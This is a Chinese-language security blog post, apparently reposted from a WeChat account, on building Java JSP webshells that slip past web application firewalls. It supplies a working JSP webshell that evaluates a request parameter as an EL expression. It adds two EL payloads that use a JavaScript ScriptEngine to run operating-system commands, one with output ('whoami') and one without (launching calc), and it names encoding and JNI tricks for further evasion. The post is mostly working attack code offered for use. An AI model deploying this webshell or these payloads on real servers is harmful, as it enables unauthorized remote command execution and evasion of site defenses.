java el表达式+script engine webshell bypass waf思路分享

admin 2023年2月25日13:06:58评论276 views字数 1111阅读3分42秒阅读模式

前言:

翻自己以前写过的东西,在土司翻到了以前提到过的这个问题,这个问题之前查看别的师傅写的文章,很早就有了相关的解决方法,但是一直没回复这种的解决思路。


这里分享下,主要分享el表达式加scriptengine的思路,也当作水篇文章吧。java el表达式+script engine webshell bypass waf思路分享

运用:

el表达式的shell

<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<%
    String res = (String)
            PageContextImpl.proprietaryEvaluate(request.getParameter("test"),
                    String.class, pageContext, null);
    out.print(res);
%>

无回显:

${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")}


java el表达式+script engine webshell bypass waf思路分享
image.png

有回显:

回显payload:

${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var+s=[3];s[0]="cmd";s[1]="/c";s[2]="whoami";var+p=java.lang.Runtime.getRuntime().exec(s);var+sc=new+java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");var+result=sc.hasNext()?sc.next():"";sc.close();result;")}


java el表达式+script engine webshell bypass waf思路分享
image.png

其他思路:

java el表达式+script engine webshell bypass waf思路分享

当然啦远程webshell和jni马的思路也是可以绕过的,也不一定要用这个思路

甚至于还可以利用补天大会老面提到的一个点,tomcat的编码特性来进行绕过。

如编码特性图:webshell内容为java el表达式+script engine webshell bypass waf思路分享

执行:


java el表达式+script engine webshell bypass waf思路分享

最后:

好好学习,好好锻炼,好好生活,兔年冲啊。java el表达式+script engine webshell bypass waf思路分享


原文始发于微信公众号(goddemon的小屋):java el表达式+script engine webshell bypass waf思路分享

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月25日13:06:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java el表达式+script engine webshell bypass waf思路分享https://cn-sec.com/archives/1573812.html

发表评论

匿名网友 填写信息